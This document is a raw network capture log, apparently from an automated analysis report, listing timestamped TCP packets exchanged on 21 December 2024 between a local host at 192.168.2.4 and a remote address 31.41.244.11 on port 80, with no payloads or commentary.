                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.841890097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.842860937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.842962027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.843002081 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.844162941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.844338894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.844378948 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.845062971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.845101118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.845269918 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.846218109 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.846259117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.846329927 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.847381115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.847423077 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.847485065 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.847527027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.848417044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.848535061 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.848582029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.849517107 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.849653006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.849699974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.850598097 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.850642920 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.850703955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.851663113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.851762056 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.851803064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.851875067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.851911068 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.852844954 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.852893114 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.852931976 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.852978945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.853915930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.854087114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.854140997 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.855017900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.855195045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.855238914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.856148958 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.856270075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.856316090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.857264042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.857306957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.857383966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.858372927 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.858413935 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.858513117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.859479904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.859528065 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.859585047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.860585928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.860626936 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.860764980 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.860801935 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.861706018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.861794949 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.861845016 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.862770081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.862910986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.862961054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.863894939 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.863940954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.863986015 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.865003109 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.865046978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.865107059 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.866157055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.866199970 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.866209030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.866250038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.867202997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.867336988 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.867381096 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.868302107 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:13.868355036 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.002871037 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.002918959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.002995968 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.003191948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.003366947 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.003679991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.004292011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.004340887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.004420996 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.005412102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.005458117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.005486012 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.006493092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.006536961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.006619930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.007623911 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.007659912 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.007662058 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.007692099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.007704020 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.008810043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.008909941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.008954048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.009836912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.009996891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.010046005 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.010971069 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.011015892 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.011111975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.012073040 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.012083054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.012119055 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.012161970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.012203932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.013140917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.013184071 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.013230085 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.013273954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.014266014 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.014309883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.014426947 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.014472008 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.015357971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.015402079 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.015460968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.015841961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.016486883 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.016531944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.016597986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.016644001 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.017586946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.017632008 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.017636061 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.017684937 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.018714905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.018763065 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.018810987 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.018857002 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.019820929 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.019866943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.019912004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.019954920 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.020921946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.020965099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.021063089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.021111012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.022017002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.022061110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.022114992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.022156954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.023122072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.023164034 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.023201942 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.023247957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.024243116 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.024292946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.024331093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.024372101 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.025470972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.025619984 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.025666952 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.026458979 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.026561022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.026607037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.027585030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.027631044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.027664900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.028686047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.028732061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.028882027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.029819965 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.029870033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.029898882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.029936075 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.030874968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.030993938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.031039953 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.031996965 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.032047033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.032093048 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.033062935 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.033143997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.033194065 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.033240080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.034213066 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.034260988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.034328938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.035331011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.035377026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.035465002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.035511017 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.036392927 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.036534071 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.036581993 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.037528038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.037653923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.037700891 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.038687944 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.038733959 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.038808107 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.039746046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.039784908 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.039798021 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.039882898 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.040853024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.040900946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.040949106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.041969061 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.042015076 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.042043924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.042085886 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.043083906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.043176889 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.043222904 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.044202089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.044254065 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.044290066 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.045278072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.045331001 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.045420885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.046382904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.046427011 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.046499968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.046546936 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.047513008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.047650099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.047687054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.047704935 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.048641920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.048703909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.048751116 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.049707890 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.049864054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.049912930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.050843954 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.050895929 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.050961971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.051917076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.051955938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.052022934 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.053021908 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.053066015 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.053112030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.053155899 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.054126024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.054235935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.054282904 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.055304050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.055437088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.055484056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.056365013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.056468964 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.056513071 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.057513952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.057565928 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.057641029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.058541059 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.058583975 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.058677912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.059694052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.059734106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.059829950 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.059874058 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.060774088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.065373898 CET4976080192.168.2.431.41.244.11
